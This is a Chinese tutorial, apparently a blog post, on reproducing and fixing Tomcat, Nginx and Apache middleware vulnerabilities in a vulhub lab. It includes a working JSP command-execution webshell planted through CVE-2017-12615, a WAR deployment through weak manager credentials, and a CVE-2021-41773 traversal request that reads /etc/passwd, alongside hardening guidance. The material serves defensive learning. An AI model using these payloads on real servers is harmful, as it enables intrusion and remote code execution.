中间件漏洞专项:Tomcat、Nginx、Apache漏洞复现与修复

06-中间件漏洞专项:Tomcat、Nginx、Apache漏洞复现与修复

合法边界声明:本文所有漏洞复现均基于本地 vulhub 靶场或自建虚拟机环境进行,仅用于安全学习与防御研究。未经书面授权,对任何真实系统进行漏洞探测与利用均属违法行为。文中所有技术细节的目的都是帮助开发者与运维人员理解漏洞成因并完成加固。

一、为什么中间件漏洞常常是突破口

1.1 先看一张图:请求到底经过了谁

当你在浏览器里敲下一个 URL 回车之后,这个请求在你看到页面之前,实际上穿过了一条"流水线":

复制代码
用户浏览器
   │
   ▼
CDN / 负载均衡(如 LVS、F5)
   │
   ▼
反向代理 / Web服务器(Nginx、Apache)
   │
   ▼
应用服务器 / 中间件(Tomcat、WebLogic、JBoss、IIS)
   │
   ▼
业务代码(Java/PHP/Python 应用)
   │
   ▼
数据库(MySQL、Redis、Oracle)

在这条链路上,Nginx、Apache、Tomcat、WebLogic、IIS 这一层,就是通常所说的"中间件"------它们不写业务逻辑,却负责接收、解析、转发所有 HTTP 请求。你写的每一个接口,都要先过它们的手。

1.2 中间件为什么"好打"

从攻击者的视角看,中间件有一组非常"诱人"的属性:

  • 资产暴露面巨大:业务代码藏在内网应用服务器上,而中间件的端口(80/443/8080/8443)必须对外开放,否则用户访问不了。暴露面越大,被打的概率越高。
  • 指纹特征明显 :中间件的版本信息往往通过响应头(Server: Apache/2.4.49)、错误页面(Tomcat 的黄色 404 页)、默认图标(favicon)就能识别。攻击者扫一眼就知道你是哪个中间件哪个版本,然后直接去查 CVE。
  • 历史漏洞库丰富:Tomcat、Apache、Nginx 都是二十多年的老项目,累积的 CVE 数以百计,其中不乏 PUT 任意文件写入、路径穿越读取、远程代码执行这种"一击致命"级别的漏洞。
  • 一个洞影响全站:业务代码的越权漏洞可能只影响一个接口,而中间件 RCE 漏洞一旦利用成功,攻击者拿到的就是整台服务器的权限------所有跑在这台机器上的业务一起沦陷。
  • 运维更新滞后:很多企业的中间件版本一用就是五六年,"业务能跑就不动它"是运维圈的经典生存智慧,也是安全圈的经典灾难现场。

所以实战渗透中有一条不成文的经验:打不进业务逻辑,就先摸中间件;中间件有洞,业务写得再安全也白搭。 而对防御者来说,中间件加固是投入产出比最高的安全动作之一------改配置、升版本,就能挡掉一大批"脚本小子"。

二、vulhub:本地漏洞复现的瑞士军刀

2.1 vulhub 是什么

vulhub 是一个基于 Docker 和 Docker Compose 的开源漏洞靶场集合,内置了几百个真实漏洞环境(Tomcat、Nginx、Apache、Redis、Weblogic、Shiro、Fastjson......),每个环境一个目录,一条命令拉起。它最大的价值是:你不需要满世界找有漏洞的老版本安装包,也不用在物理机上装一堆脏东西,复现完一删,环境干干净净。

项目地址:https://github.com/vulhub/vulhub

2.2 安装 Docker 与 Docker Compose

以 Linux(推荐 Ubuntu 22.04 虚拟机)为例:

bash 复制代码
# 第一步:安装 Docker(官方一键脚本)
curl -fsSL https://get.docker.com | bash

逐行解释:

  • curl -fsSL-f 表示 HTTP 错误时返回失败而非输出错误页;-s 静默模式;-S 显示错误;-L 跟随重定向。
  • | bash:把下载的脚本交给 bash 执行,完成 Docker 引擎安装。
bash 复制代码
# 第二步:启动 Docker 服务并设置开机自启
sudo systemctl start docker
sudo systemctl enable docker

逐行解释:

  • systemctl start docker:立即启动 Docker 守护进程。
  • systemctl enable docker:把 Docker 注册为开机自启服务,重启虚拟机后不用再手动启动。
bash 复制代码
# 第三步:验证安装
sudo docker version

如果同时打印出 Client 和 Server 两个版本号,说明引擎已正常运行。

注:新版 Docker 已内置 docker compose 子命令(注意没有横杠),vulhub 新版文档统一使用这种写法。如果你的环境只有老式 docker-compose 独立二进制,命令同理。

2.3 拉取 vulhub 并启动一个靶场

bash 复制代码
# 克隆 vulhub 仓库(建议浅克隆,省时间省磁盘)
git clone --depth 1 https://github.com/vulhub/vulhub.git
cd vulhub

逐行解释:

  • --depth 1:只拉取最近一次提交的历史,仓库体积从几百 MB 缩到几十 MB,对于"只要靶场文件"的我们完全够用。
bash 复制代码
# 进入 Tomcat PUT 漏洞目录并启动
cd tomcat/CVE-2017-12615
sudo docker compose up -d

逐行解释:

  • cd tomcat/CVE-2017-12615:每个漏洞在 vulhub 中都是独立目录,目录名就是 CVE 编号,非常好找。
  • docker compose up -d:读取当前目录的 docker-compose.yml,拉取镜像并在后台(-d 即 detach)启动容器。
bash 复制代码
# 查看运行中的容器与端口映射
sudo docker compose ps

# 复现完毕后销毁环境(容器、网络一并清理)
sudo docker compose down -v

逐行解释:

  • docker compose ps:列出该 compose 项目下的容器状态和端口映射,告诉你漏洞环境跑在宿主机哪个端口上。
  • docker compose down -v:停止并删除容器;-v 连同挂载卷一起删除,避免残留数据污染下次复现。

这套"cd 进目录 → up -d → 打端口 → down -v"的流程,就是整个系列通用的靶场操作范式,后面几篇会反复用到。

三、Tomcat 经典漏洞一:PUT 任意文件写入(CVE-2017-12615)

3.1 漏洞原理

Tomcat 配置文件 conf/web.xml 中有一个名为 DefaultServlet 的组件,负责处理静态资源。它有一个初始化参数 readonly,默认为 true------此时 Tomcat 只允许 GET/POST/HEAD 等常规方法,对 PUT/DELETE 直接返回 403。

但当配置被人为(或被某些整合包默认)改为:

xml 复制代码
<init-param>
    <param-name>readonly</param-name>
    <param-value>false</param-value>
</init-param>

PUT 方法就被放开了------攻击者可以直接向服务器写入任意路径的任意文件。写个 JSP 一句话木马上去,就是直接的 getshell。

这里还有一个绕过小技巧:Tomcat 8.x 默认不允许 JSP 直接通过 PUT 写入(会校验后缀),但可以利用 Windows/Linux 上文件名解析的差异,用 shell.jsp/(尾部加斜杠)、shell.jsp%20(尾部空格 URL 编码)等变形绕过后缀校验,文件最终仍会以 jsp 落盘。

影响版本:Tomcat 7.0.0 - 7.0.79(配置 readonly=false 时),实测部分 8.x/9.x 配置不当也可触发。

3.2 本地复现(vulhub)

启动环境后,靶机 8080 端口即为 Tomcat。我们先写入一个测试文件验证 PUT 是否放行:

bash 复制代码
# 向靶机 PUT 一个 txt 文件
curl -X PUT "http://127.0.0.1:8080/test_12615.txt" -d "hello vulhub"

逐行解释:

  • -X PUT:指定 HTTP 方法为 PUT。
  • -d "hello vulhub":请求体内容,即要写入文件的内容。
  • 若返回 201 Created,说明写入成功;返回 403 则说明 readonly 未放开。

接着写入 JSP 木马(仅本地演示):

bash 复制代码
curl -X PUT "http://127.0.0.1:8080/shell.jsp/" \
  -d '<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream())).readLine());%>'

逐行解释:

  • URL 末尾的 /:绕过 Tomcat 8 对 jsp 后缀的 PUT 校验,文件落盘时斜杠被忽略,实际生成 shell.jsp
  • JSP 代码逻辑:request.getParameter("cmd") 取出攻击者传入的命令 → Runtime.getRuntime().exec() 执行 → 用 BufferedReader 逐行读取命令输出 → out.println() 打印到响应。

验证执行:

bash 复制代码
curl "http://127.0.0.1:8080/shell.jsp?cmd=whoami"

返回当前运行 Tomcat 的系统用户名,复现完成。这就是"任意文件写入"到"远程代码执行"之间一步之遥的距离。

3.3 修复方案

  1. 保持 readonly=true(默认值),除非业务确实需要 WebDAV 写入功能;需要 WebDAV 时务必走内网 + 认证。
  2. 升级 Tomcat 至官方修复版本之后(7.0.81+ 对 PUT 行为做了进一步约束)。
  3. 在反向代理层(Nginx)禁用不必要的 HTTP 方法
nginx 复制代码
if ($request_method !~ ^(GET|POST|HEAD)$) {
    return 403;
}

配置解释:如果请求方法不是 GET/POST/HEAD 三者之一,直接返回 403。这相当于在中间件前面又加了一道闸,即使 Tomcat 配置失误,PUT 也到不了它。

四、Tomcat 经典漏洞二:弱口令后台部署 WAR 包 getshell

4.1 原理

Tomcat 有一个管理后台(默认 /manager/html),用于部署、卸载、重启 Web 应用。它由 conf/tomcat-users.xml 中的账号控制。大量运维为了省事使用 tomcat:tomcatadmin:admin 这类弱口令,或者直接把 manager 页面暴露在公网。

攻击者登录后台后,使用"WAR file to deploy"功能上传一个包含 JSP 木马的 war 包------Tomcat 会自动解压并部署它,木马随路径 /<war包名>/<jsp名> 生效。整个过程不需要任何漏洞,只需要一个弱口令。

4.2 本地复现(自建环境)

在自建 Tomcat 虚拟机中编辑 conf/tomcat-users.xml,模拟弱口令配置:

xml 复制代码
<role rolename="manager-gui"/>
<user username="tomcat" password="tomcat" roles="manager-gui"/>

配置解释:

  • manager-gui 角色拥有图形化管理界面的完整权限,包括部署应用。
  • 用户名密码都设为 tomcat------这是全网被扫得最狠的口令之一。

制作恶意 war 包(本地演示):

bash 复制代码
# 1. 写一个 JSP 探测页
echo '<% out.println("pwned"); %>' > shell.jsp

# 2. 打成 war 包
jar -cvf shell.war shell.jsp

逐行解释:

  • jar -cvf shell.war shell.jsp-c 创建归档,-v 显示过程,-f 指定输出文件名。war 本质就是换了个后缀的 zip。

访问 http://靶机:8080/manager/html,输入弱口令登录,在"WAR file to deploy"处上传 shell.war,然后访问 http://靶机:8080/shell/shell.jsp,看到 pwned 输出即复现成功。

vulhub 中也有对应环境(tomcat/tomcat8 目录,manager 页面 tomcat:tomcat),可一键拉起练习。

4.3 修复方案

  1. 删除或强口令化 manager :生产环境直接删掉 webapps/managerwebapps/host-manager 目录是最干脆的做法;必须保留时,密码使用 16 位以上随机串。
  2. 限制后台访问来源 :在 conf/Catalina/localhost/manager.xml 中用 RemoteAddrValve 限定只允许内网 IP 访问:
xml 复制代码
<Context privileged="true">
    <Valve className="org.apache.catalina.valves.RemoteAddrValve"
           allow="127\.0\.0\.1|10\..*" />
</Context>

配置解释:allow 是正则白名单,只有本机与 10.x 内网段能访问 manager,公网扫描直接被拒。

  1. 修改默认端口与默认页面:8080 + Tomcat 默认欢迎页是最醒目的指纹,业务允许的话改掉。

五、Nginx 解析漏洞

5.1 原理

经典的"Nginx 解析漏洞"严格说不是 Nginx 自身的 bug,而是 Nginx + php-fpm 组合的配置问题 。正常请求 /upload/avatar.png 应该返回图片,但攻击者访问:

ruby 复制代码
http://target/upload/avatar.png/.php

Nginx 的 location ~ \.php$ 正则匹配到 URI 以 .php 结尾,于是把请求交给 php-fpm 处理;而 php-fpm 拿到 SCRIPT_FILENAME 后发现文件不存在,触发了 cgi.fix_pathinfo=1 的路径回溯逻辑------往前找,找到了 avatar.png,于是把这个"图片"当成 PHP 代码执行了

危害场景非常具体:几乎所有带图片上传功能的网站,只要用户能上传"伪装成图片的 PHP 文件"(文件头是 GIF89a,后面跟着 PHP 代码),配合解析漏洞就能 getshell。

5.2 本地复现要点(vulhub: nginx/nginx_parsing_vulnerability)

启动环境后,上传一张头部为 GIF89a、尾部含 PHP 代码的"图片",然后访问 图片路径/.php,观察 PHP 代码被执行。

5.3 修复方案

  1. 关闭路径回溯php.ini 中设置 cgi.fix_pathinfo=0(php-fpm 场景)。代价是部分框架的 PATH_INFO 路由会失效,需评估业务。
  2. 更稳妥的方案是在 Nginx 中显式判断文件是否存在:
nginx 复制代码
location ~ \.php$ {
    try_files $fastcgi_script_name =404;
    fastcgi_pass 127.0.0.1:9000;
    # ... 其余 fastcgi 配置
}

配置解释:try_files $fastcgi_script_name =404 表示先按原始 URI 找文件,找不到直接 404,绝不让 php-fpm 去做"往前回溯"的动作。这样即使 fix_pathinfo=1,畸形 URI 也在 Nginx 层被拦截。

  1. 上传目录禁用 PHP 解析:location ^~ /upload/ { deny all; } 或直接让该目录的静态文件由 Nginx 原样返回、不进 fastcgi。

六、Apache 漏洞:多后缀解析与路径穿越(CVE-2021-41773)

6.1 多后缀解析漏洞原理

Apache 的 mod_mime 模块按"文件名从右往左逐个后缀识别"的规则处理文件。文件 shell.php.xxx 最右边的 .xxx 是未知后缀,Apache 会继续往左看,发现 .php,于是把它当 PHP 解析。

利用条件:目标存在文件上传点且能控制文件名,服务端只黑名单校验了 .php 后缀。上传 shell.php.abc 绕过校验,访问时被 Apache 当成 PHP 执行。这一漏洞在老版本 Apache + AddHandler 配置下普遍存在,修复方式是 Apache 2.3.15 之后用 SetHandler 替代 AddHandler,或升级后在配置中显式限定:

apache 复制代码
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

配置解释:只有整个文件名以 .php/.php3/.php4/.php5/.php7/.pht/.phtml 结尾才交给 PHP 处理,shell.php.abc 不再命中规则。

6.2 CVE-2021-41773/42013 路径穿越与 RCE 原理简介

2021 年 9 月披露的 CVE-2021-41773 影响 Apache 2.4.49。成因是 mod_cgi 与别名映射(Alias)处理 URL 时对路径规范化存在缺陷:当配置中存在类似 Alias /icons/ "/usr/share/apache2/icons/" 的目录映射,且该映射开启 CGI 执行时,攻击者可以构造:

bash 复制代码
GET /icons/.%2e/.%2e/.%2e/.%2e/etc/passwd

.%2e. + URL编码的点,Apache 解码后变成 ..,等效于穿越出别名目录读取任意文件。如果目标目录同时开启了 cgi-bin 执行,还能进一步穿越到 /bin/sh 触发 RCE(即 CVE-2021-42013 对 41773 修复的绕过升级版)。修复方式:升级到 Apache 2.4.51 及以上。这个漏洞当年被全网批量扫描,公网上的 2.4.49 几乎当天沦陷------"新出的高危中间件 CVE + 公网暴露"就是一场与扫描器的赛跑。

七、中间件指纹识别方法

打中间件之前得先知道对面是什么。常见指纹识别手段:

  1. 响应头 Server 字段curl -I http://target/Server: nginx/1.18.0。当然很多站点会刻意隐藏,需要其他手段佐证。
  2. 默认错误页面 :Tomcat 有标志性的黄色/白色异常页与版本号;Nginx 404 页面右下角有 nginx 字样。
  3. 默认 favicon 哈希:对 favicon.ico 计算 mmh3 哈希,在 FOFA/网络空间测绘平台中反查同指纹资产。
  4. 端口与服务特征 :8080 + JSESSIONID Cookie → 大概率 Tomcat/JBoss;X-Powered-By 头 → 中间件与应用框架信息。
  5. Shodan/FOFA/Hunter 等测绘平台语法 (仅用于资产测绘与自己企业的暴露面自查):如 FOFA 中 app="APACHE-Tomcat" && country="CN",可以快速统计某组织互联网侧中间件暴露情况------这也是防御者应该定期做的"以攻促防"动作

八、中间件安全加固基线清单

最后给一份可以直接抄作业的加固基线,适用于绝大多数中间件:

  1. 版本管理:中间件版本纳入资产台账,订阅官方安全通告(Tomcat mail-announce、Nginx 安全页),高危 CVE 发布后评估升级窗口;不使用停止维护的版本(如 Tomcat 7、Apache 2.2)。
  2. 删除默认页面与样例应用 :Tomcat 的 webapps/docsexamplesmanagerhost-manager;Apache 的默认 index 页与 manual 目录。默认页面 = 免费给攻击者递名片。
  3. 管理后台访问控制:manager/guacamole/各类控制台一律不对公网开放,结合 IP 白名单 + 强认证 + VPN 三件套。
  4. 最小模块原则 :注释掉用不到的模块(Apache 的 mod_cgi、Tomcat 的 WebDAV、Nginx 无用动态模块),模块越少,攻击面越小,CVE 命中率越低。
  5. 隐藏版本信息 :Nginx server_tokens off;、Apache ServerTokens ProdServerSignature Off、Tomcat 修改 ServerInfo.properties
  6. HTTP 方法收敛:只放行业务必需的方法,PUT/DELETE/TRACE/CONNECT 一律拒绝。
  7. 权限分离 :中间件进程使用低权限专用账号运行(如 www-data),即使被 getshell,攻击者也要再费一道提权功夫。
  8. 日志与监控:开启 access log 与 error log 并外发集中存储,对 4xx/5xx 突增、异常 UA、扫描器特征配置告警------加固做得再好,也要假设"总有一漏",日志是事后追责与应急的救命稻草。
  9. 配置文件纳入版本管理conf/ 目录用 Git 管理,任何改动可审计、可回滚,防止"临时放开 readonly 忘了改回去"这类经典事故。

九、小结

这一篇我们沿着"Web 请求流水线"找到了中间件这块兵家必争之地,用 vulhub 一条命令拉起了 Tomcat PUT 漏洞,手工复现了弱口令部署 war 的完整 getshell 链路,拆解了 Nginx 解析漏洞"配置组合拳"式的成因,最后盘点 Apache 多后缀解析与 CVE-2021-41773,并沉淀出一份加固基线。中间件安全的核心心法只有一句话:它站在所有业务流量的必经之路上,所以它的每一个配置失误都会被放大成整站级风险。 下一站的数据库漏洞,则是"拿下中间件之后,攻击者伸手要摸的下一块蛋糕"。

相关推荐
潮族大Z3 小时前
App 架构演进:MVC → MVP → MVVM → MVI,一篇看懂
架构
2601_962218473 小时前
万象生鲜系统智能报表引擎技术为生鲜企业提供数字化经营分析能力
大数据·运维·微服务·云原生·架构
阿拉斯攀登3 小时前
Java-PHP反序列化漏洞原理与实战
架构
艺杯羹3 小时前
AI编程时代软件工程怎么学:从底层思维认知到驱动智能体的架构跃迁
java·人工智能·ai·架构·软件工程·ai编程
(Charon)3 小时前
【Kafka】消息队列学习(一):为什么需要Kafka?从消息队列到整体架构
学习·架构·kafka
AI_Auto3 小时前
架构视角看数字化转型|完整复盘:架构先行,完成数字化组织与运营重构
网络·重构·架构
晚安日记wanna4 小时前
政务 Agent 面试真题五个得分点缺一就掉档
面试·架构
Quor4 小时前
Zorv AI GenUI 技术架构深度解析:从双面设计到安全边界
人工智能·ui·架构
晚安日记wanna4 小时前
分布式和微服务差在哪从一次订单超时雪崩说起
面试·架构